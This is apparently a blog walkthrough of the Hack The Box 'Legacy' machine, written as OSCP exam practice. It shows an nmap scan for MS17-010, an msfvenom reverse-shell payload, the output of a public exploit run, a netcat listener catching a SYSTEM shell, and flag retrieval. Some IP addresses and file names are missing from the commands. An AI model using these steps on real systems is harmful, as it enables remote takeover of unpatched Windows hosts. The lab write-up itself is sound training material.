My PWK lab access has ended, but I haven’t stopped preparing for the upcoming OSCP examination. I’ve been practicing on the HTB labs to sharpen my skills, and working on writing buffer overflow exploits so that I’m more comfortable with the process. I hope to write more tutorials once I’ve finished my OSCP journey, but for now I’m focusing primarily on studying.

That doesn’t mean I’m going to leave you all high and dry, though. Nope! Today I’m posting my walkthrough of the HTB machine called “Legacy.”


Scans revealed ports 139 and 445 open, and a quick nmap script scan reveals that the host is vulnerable to a Remote Code Execution (RCE) vulnerability:

root@haxys:/htb# nmap -sT -p 139,445 -PN --script smb-vuln-ms17-010
Starting Nmap 7.70 ( ) at 2019-07-11 14:12 EDT
Nmap scan report for
Host is up (0.067s latency).

139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
| smb-vuln-ms17-010:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|     Disclosure date: 2017-03-14
|     References:

Nmap done: 1 IP address (1 host up) scanned in 0.84 seconds


I discovered a blog post that directed me to a script (from this GitHub repo) which exploits the MS17-010 vulnerability without relying on Metasploit. I downloaded the script and saved it as I also downloaded a required library and saved it as, in the same directory.

The exploit works much like its name implies: it sends an executable file to the target, then tells the target to run the file as the System user. I would need to create a payload to send to the target.

Using msfvenom, I crafted a reverse-TCP payload:

root@haxys:~/htb# msfvenom -p windows/shell_reverse_tcp -f exe -a x86 \
>                          --platform windows -o payload.exe LPORT=443 \
>                          LHOST= EXITFUNC=thread
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: payload.exe

With preparations complete, I started a netcat listener on port 443, then ran the exploit:

root@haxys:~/htb# python payload.exe
Trying to connect to
Target OS: Windows 5.1
Using named pipe: browser
Groom packets
attempt controlling next transaction on x86
success controlling one transaction
modify parameter count to 0xffffffff to be able to write backward
leak next transaction
CONNECTION: 0x81e16da8
SESSION: 0xe1b25310
FLINK: 0x7bd48
InData: 0x7ae28
MID: 0xa
TRANS1: 0x78b50
TRANS2: 0x7ac90
modify transaction struct for arbitrary read/write
make this SMB session to be SYSTEM
current TOKEN addr: 0xe1bc3278
userAndGroupCount: 0x3
userAndGroupsAddr: 0xe1bc3318
overwriting token UserAndGroups
Sending file XX2NUF.exe...
Opening SVCManager on
Creating service xFDj.....
Starting service xFDj.....
The NETBIOS connection with the remote host timed out.
Removing service xFDj.....
ServiceExec Error on:

Returning to netcat, I had a shell. However, I couldn’t confirm that I was logged in as System:

root@haxys:~/htb# nc -vnlp 443
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 1030
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

'whoami' is not recognized as an internal or external command,
operable program or batch file.

C:\WINDOWS\system32>echo %username%
echo %username%

I used the script a second time, sending over the whoami.exe program found in the /usr/share/windows-binaries/ directory of Kali:

root@haxys:~/htb# python /usr/share/windows-binaries/whoami.exe
Trying to connect to
Target OS: Windows 5.1
Sending file CYVONX.exe...

The file was uploaded as CYVONX.exe and stored in the C: root directory. The program informed me that I was running as NT AUTHORITY\SYSTEM:

C:\WINDOWS\system32>cd C:\
cd C:\


From there, it was a simple matter to obtain the user and root flags:

C:\>cd "C:\Documents and Settings\john\Desktop"
cd "C:\Documents and Settings\john\Desktop"

C:\Documents and Settings\john\Desktop>ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . :
        Subnet Mask . . . . . . . . . . . :
        Default Gateway . . . . . . . . . :

C:\Documents and Settings\john\Desktop>type user.txt
type user.txt

C:\Documents and Settings\john\Desktop>cd ..\..\Administrator\Desktop
cd ..\..\Administrator\Desktop

C:\Documents and Settings\Administrator\Desktop>type root.txt
type root.txt


This is probably the easiest box on HTB. MS17-010 is a well-known, widely-publicized vulnerability with weaponized exploits built into Kali. However, it seems that most people prefer to use Metasploit to exploit the vulnerability. Learning how to exploit the system without Metasploit was a handy and useful lesson. In fact, when I was first exploring this vulnerability, I found one system that nmap reported as vulnerable, but which Metasploit couldn’t crack. By using the manual exploit, I was able to gain access to the machine and capture the flags.

This is why I always look for manual exploits. If you use Metasploit for everything, then all you’re doing is learning how to use Metasploit. But if you seek out manual exploitation methods, you learn more about how the vulnerabilities and exploits work. That way, when Metasploit fails you, you’re not totally lost.